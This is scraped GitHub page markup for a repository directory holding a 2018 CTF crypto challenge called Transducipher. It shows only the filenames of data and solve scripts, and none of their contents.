15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> sea0breeze </span> <span>/</span> ctf <span></span><span>Public</span> </div> </div> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>1</span> <div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>18</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div> </div> <div id="responsive-meta-container" data-turbo-replace></div> <nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/sea0breeze/ctf/security/overall-count" accept="text/fragment+html"></include-fragment> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span> <div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Security Insights </details-menu></details></div></nav> </div> <turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " > <div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div > <div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":54097741,"originating_url":"https://github.com/sea0breeze/ctf/tree/master/pctf-2018/Transducipher","user_id":null}}" data-hydro-click-hmac="ad72d7b252110ccff74904a44513e88eb07706f68932926b5dfd6349094ee23f"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>master</span> <span></span> </summary> <div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header> <input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div> <div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div> <div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/sea0breeze/ctf/refs" cache-key="v0:1458200182.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="c2VhMGJyZWV6ZS9jdGY=" prefetch-on-mouseover > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <footer class="SelectMenu-footer">View all branches</footer> </ref-selector> </div> <div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/sea0breeze/ctf/refs" cache-key="v0:1458200182.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="c2VhMGJyZWV6ZS9jdGY=" > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div> </details> </div> <div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div> </div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div> <div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>ctf</span></span></span><span>/</span><span><span>pctf-2018</span></span><span>/</span>Transducipher<span>/</span> </div> </div> <div class="d-flex"> Go to file </div> </div> <div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>ctf</span></span></span><span>/</span><span><span>pctf-2018</span></span><span>/</span>Transducipher<span>/</span></div> <div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/sea0breeze/ctf/tree-commit/3c25487879eb93df1533044772bf6917c79047b1/pctf-2018/Transducipher" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2> <include-fragment src="/sea0breeze/ctf/file-list/master/pctf-2018/Transducipher"> Permalink <div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information. </div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>data.txt</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>solve_left_half.py</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>solve_right_half.py</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>transducipher.py</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> </div> </div> </include-fragment> </div> </div> </div> </div> </turbo-frame> </main> </div> </div> <footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2> <div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div> <nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div> <div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer> <div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div> <div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 